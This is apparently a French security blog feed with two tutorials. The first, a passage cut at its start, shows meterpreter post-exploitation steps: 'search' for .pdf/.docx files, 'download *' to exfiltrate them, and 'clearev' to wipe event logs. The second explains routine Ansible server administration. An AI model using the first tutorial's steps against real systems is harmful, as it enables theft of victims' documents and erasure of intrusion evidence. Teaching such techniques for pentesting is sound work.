    • Vous pouvez aussi utiliser Windows 7, 10, et mĂȘme pourquoi pas Windows 11 ^^

Imaginez le contexte suivant :

Vous venez de prendre le contrĂŽle d’un ordinateur Windows via l’exploitation d’une faille de sĂ©curitĂ©, ou bien en ayant installĂ© un logiciel infectĂ© par un virus. DĂšs lors vous souhaitez rechercher des documents sensibles qui pourraient appartenir Ă  la victime.

Lors de vos recherches, je vous conseille de vous concentrer sur moins de 10 extensions de fichier (ex : .pdf,.docx,.doc,.xlsx,.pptx etc.). Dans notre cas pour simplifier le didacticiel, nous allons nous concentrer sur les deux extensions de fichiers suivants :

  • pdf
  • docx

En guise de test, j’ai crĂ©Ă© rapidement des fichiers sur la machine victime avec des noms qui pourrait s’apparenter Ă  des documents confidentiels au sein d’une entreprise.. Ces documents ont Ă©tĂ© dĂ©posĂ©s dans un partage SMB, et ils sont bien entendu fictif.

Ensuite, exĂ©cutez la commande suivante, qui va rechercher tous les documents dont l’extension est .pdf/.docx depuis la racine du systĂšme de fichiers de notre serveur compromis :

search -f *.docx -f *.pdf 

Rapidement, nous trouvons quatre fichiers aux noms Ă©vocateurs 🙂

II. Exflitration des données

Bon, nous avons trouvé des données, mais nous ne pouvons pas encore les exploiter de maniÚre concrÚte. Nous savons simplement que ces fichiers existent. Pour exfiltrer ces données, nous devons nous positionner dans les répertoires en question avec la commande suivante :

cd '<chemin absolut>'

Puis éxécutez la commande suivante :

download *

Comme vous l’indique la capture d’écran ci-dessous, les fichiers ont Ă©tĂ© tĂ©lĂ©chargĂ©s avec succĂšs, et sont stockĂ©s dans le dossier suivant de ma machine attaquante kali : /home/kali/

Afin d’effacer d’éventuelle traces numĂ©rique suite Ă  notre intrusion dans le systĂšme, exĂ©cutez la commande suivante :

clearev

++

Geoffrey

L’article Exfiltrer des donnĂ©es depuis une session meterpreter (Post Exploitation) est apparu en premier sur Le Guide Du SecOps.

  •  

Automatiser l’administration de vos serveurs linux avec ansible (DĂ©monstration pas Ă  pas)

Ansible est un outil d’automatisation qui parfois peut s’avĂ©rer complexe, mais qui mĂ©rite clairement votre attention si-vous administrez un grand nombre de serveur. Dans ce prĂ©sent article, nous allons voir comment rĂ©aliser des actions de maintenance basiques sur plusieurs instances « slave Â» (ubuntu 20.04/22.04).

https://blog.atolcd.com/ansible/

Voilà à quoi va ressembler mon petit lab’ :

  • Kali linux (192.168.130.128), Instance (contrĂŽleur de noeud) qui va piloter le dĂ©ploiement de mes actions sur les autres serveurs :
    • Ubuntu 22.04 – 192.168.130.144
      • utilisateur : user (droits sudo)
    • Ubuntu 20.04 – 192.168.130.139
      • utilisateur : user (droits sudo)

Petit prĂ©requis pour avoir un workflow « click and go take a coffe Â» :

  • Utiliser l’authentification ssh par couple de clĂ© privĂ©e/publique

Pour rappel voici comment réaliser ceci :

ssh-keygen # GĂ©nĂ©ration d'une clĂ© SSH "basique" si vous n'en avez pas
ssh-copy-id user@192.168.130.144 # copie de cette clĂ© sur l'instance 1
ssh-copy-id user@192.168.130.139 # copie de cette clĂ© sur l'instance 1

Les couples de clés ssh sont stocké dans cet emplacement (par défaut) :

ls ~/.ssh/
id_rsa
id_rsa.pub

I. Installation d’ansible sur votre machine « pilote Â»

Bien, maintenant passons aux choses sĂ©rieuses. Ce qui est top avec ansible, c’est qu’il agit comme un orchestrateur par l’intermĂ©diaire du protocole trĂšs populaire SSH. On dit qu’il est « agentless Â», (pas besoin d’installer un programme « agent Â» client sur les machines concernĂ©es)

Sur ma Kali, je vais donc procĂ©der Ă  l’installation d’ansible de cette maniĂšre :

sudo apt update && sudo apt install ansible -y

Voici une des arborescence « type Â» Ă  utiliser pour ansible. Vous n’ĂȘtes pas forcĂ©ment obligĂ© de la respecter, mais sachez que c’est une des plus courantes. Sur Kali, celle-ci ne se crĂ©e pas automatiquement de mĂ©moire. Vous devrez donc peut-ĂȘtre la crĂ©er Ă  la main


Les ressources qui vont nous interesser dans le contexte de l’article sont les suivantes :

  • inventory/hosts
  • roles/update/update.yml

II. Préparez votre environnement

cd /etc/ansible/

Astuce : Afin de vous faciliter la vie, utilisez un Ă©diteur de code comme VSCode afin d’interagir avec vos fichiers plus facilement. Par ailleurs, je vous encourage Ă  utiliser l’extension VSCode « YAML Â» afin de vous aider dans la rĂ©daction de vos playbooks ainsi que dans la gestion des fichiers connexes.

Dans mon fichier inventory/hosts, je vais donc crĂ©er deux « groupes Â».

  • [lab1]
  • [lab2]

L’avantage de faire des groupes ansible permet de cibler prĂ©cisĂ©ment sur quel « pool Â» de serveur vous souhaitez effectuer vos actions de maintenance, afin d’avoir une architecture systĂšme propre et bien « splittĂ© Â».

Dans un premier temps, je vais effectuer un simple test de connectivitĂ© (piiiing) sur le groupe « lab1 Â» (contenant uniquement l’IP 192.168.130.144)

ansible --inventory-file inventory/hosts -m ping lab1 -u user

À contrario, je peux aussi effectuer le mĂȘme test pour le groupe « lab2 Â» (contenant uniquement l’IP 192.168.130.139)

ansible --inventory-file inventory/hosts -m ping lab2 -u user

Enfin, si vous souhaitez effectuer ce test de connectivitĂ© sur toutes vos instances, alors vous pouvez utiliser le mot-clĂ© « all Â» Ă  la place d’un nom de groupe.

ansible --inventory-file inventory/hosts -m ping all -u user

II. Executez des commandes « one line Â» sur plusieurs instances en mĂȘme temps

Eh oui, vous n’avez pas forcĂ©ment besoin d’utiliser des scripts au format .yml (appellĂ© playbooks) tout le temps avec ansible. Certes, c’est moins propre mais si vous souhaitez exĂ©cuter ponctuellement une instruction, cela sera plus rapide.

On ne va pas se le cacher, la quasi-totalité des actions de maintenance à réaliser requiers des privilÚges plus importants que de simples droits utilisateurs. Par défaut, je vais donc suffixer ma commande avec les options suivantes :

  • -K : Cet argument permet d’interagir avec notre « shell distant Â», et ainsi de prĂ©fixer chaque commande par sudo pour le compte en question (user dans mon cas). Attention celui-ci doit Ă©videment disposer de droit sudo afin que cela puisse fonctionner 😉
    • Le mot de passe est Ă  saisir manuellement dĂšs lors que vous avez saisi la commande !
  • -become-user : Cela permet de dire explicitement Ă  ansible « Je souhaiterais devenir l’utilisateur suivant Â» (root dans notre cas)

DĂ©tails des autres options ci-dessous


cd /etc/ansible/
ansible --inventory-file inventory/hosts -m shell -a "apt update -y" all -u user -become-user -K
La mise à jour des repositorys a fonctionné
  • –inventory-file : Emplacement du fichier hosts (Ă  utiliser uniquement, si vous n’ĂȘtes pas dans le mĂȘme dossier que celui-ci)
  • -m : module Ă  utiliser : Ici je vais utiliser le module « shell Â» classique. Ă  la suite de cet argument, on retrouvera le nom du groupe (lab1, lab2, ou all dans mon cas)
  • -a : argument Ă  transmettre au module utilisĂ© (ici le module est shell)
  • -u : utilisateur (distant) avec lequel je vais me connecter sur les machines « ansiblĂ© Â». Pour mes deux serveurs (.139, .144)

L’instruction Ă  l’écran « BECOME Password Â» vous invite Ă  saisir le mot de passe du compte avec lequel vous vous connectez. Celui-ci doit disposer de droits « sudo Â».

MĂ©fiez-vous de l’option « all Â». En effet, dans mon cas cela fonctionne car j’ai exactement la mĂȘme configuration (utilisateurs/mots de passe) sur chacune de mes instances. Je passe en premier lieu par un compte classique avant de « m’élever Â» en tant que root. Vous trouverez beaucoup de ressources/tuto sur le net qui « passe Â» uniquement le compte root. Par principe, cela n’est pas une bonne pratique que se connecter directement « as root Â» sur un serveur bien que la plupart utilisent l’auth SSH clĂ© privĂ©e/publique ce qui limite drastiquement l’impact.

Encore faut-il « forcer Â» l’authentification exclusive clĂ© privĂ©e/clĂ© publique, ce qui n’est pas souvent le cas
 pour plus d’info : https://le-guide-du-secops.fr/2020/09/25/configurer-le-service-ssh-avec-uniquement-lauthentification-par-paire-de-cles-privee-publique-linux/

III. Mettez Ă  jours vos serveurs directement avec le module apt !

Il y deux mĂ©thodes dit « classique Â» pour effectuer des actions de maintenance Ă  savoir :

  • Utiliser un playbook (À utiliser lorsque plusieurs vous souhaitez exĂ©cuter plusieurs tĂąches d’administration « sĂ©quentiel Â»)
  • ExĂ©cuter une commande « One liner Â» sans passer par un playbook (Ă  utiliser uniquement pour un, voire deux enchainements de commande, car cela devient beaucoup trop verbeux aprĂšs)
    • Utilisez le module « shell Â»
    • Ou utiliser un module ansible (apt dans mon cas) dĂ©diĂ© pour votre action si celui-ci existe. L’avantage de cette option est qu’en cas d’erreur, ce module produira plus de logs, et donc cela sera plus facile pour vous de rĂ©soudre le problĂšme.

Sans Playbook

ansible --inventory-file inventory/hosts -m apt -a "upgrade=yes update_cache=yes" lab1 -u user -become-user -K

Si-vous souhaitez effectuer vos tests sur plusieurs groupes en mĂȘme temps, utiliser une virgule pour inclure chacun de vos groupes : lab1,lab2

ansible --inventory-file inventory/hosts -m apt -a "upgrade=yes update_cache=yes" lab1,lab2 -u user -become-user -K

Avec playbook(s)

Rappel sur la notion de playbook :

Un playbook Ansible est un script au format .yml qui dĂ©crit une configuration ou un ensemble de tĂąches Ă  exĂ©cuter sur un ou plusieurs hĂŽtes. Il permet de formaliser l’automatisation de la configuration/maintenance d’X instances.

Dans mon cas, je vais effectuer les deux actions suivantes, mais on aurait trĂšs bien pu avoir une dizaine de tĂąches voir plus :

  • CrĂ©er un fichier dans le dossier /tmp/ et lister le contenu de ce dossier
  • Mettre Ă  jour mon serveur (nĂ©cessite des droits sudo)
sudo gedit /etc/ansible/roles/update/update.yml 
- name: Ansible playbook tasks automations 
  hosts: all 
  become: true
  tasks:
    - name: Create a test file in /tmp/
      shell: 
          "echo \"Hello world !\" >> /tmp/test ; ls -l /tmp/test"
    - name: Update the system 
      apt:
        update_cache: yes
        upgrade: yes

DĂšs lors, je vais exĂ©cuter la commande suivante afin de « jouer Â» mon playbook sur mes deux instances !

ansible-playbook --inventory-file inventory/hosts -u user -become-user -K roles/update/update.yml

Si-vous souhaitez avoir un rĂ©sultat plus dĂ©taillĂ©, je vous invite Ă  saisir l’un des arguments supplĂ©mentaires ci-aprĂšs :

-v  (peu verbeux, action par défaut)
-vv (trÚs verbeux, utilisé en cas de troublshooting) 
-vvv (trÚs verbeux, utilisé en cas de troublshooting complexe) 

J’espĂšre que ce didacticiel vous aura plu. DĂ©sormais ansible sera moins Ă©tranger pour vous et j’espĂšre que vous avez compris la puissance de cet outil surtout pour l’administration systĂšme
 :p

++

Geoffrey

III. Sources

  • https://www.clickittech.com/tutorial/how-to-manage-linux-servers-with-ansible
  • https://www.jeffgeerling.com/blog/2018/updating-all-your-servers-ansible
  • Et bien d’autres que j’ai oubliĂ© de noter

L’article Automatiser l’administration de vos serveurs linux avec ansible (DĂ©monstration pas Ă  pas) est apparu en premier sur Le Guide Du SecOps.

  •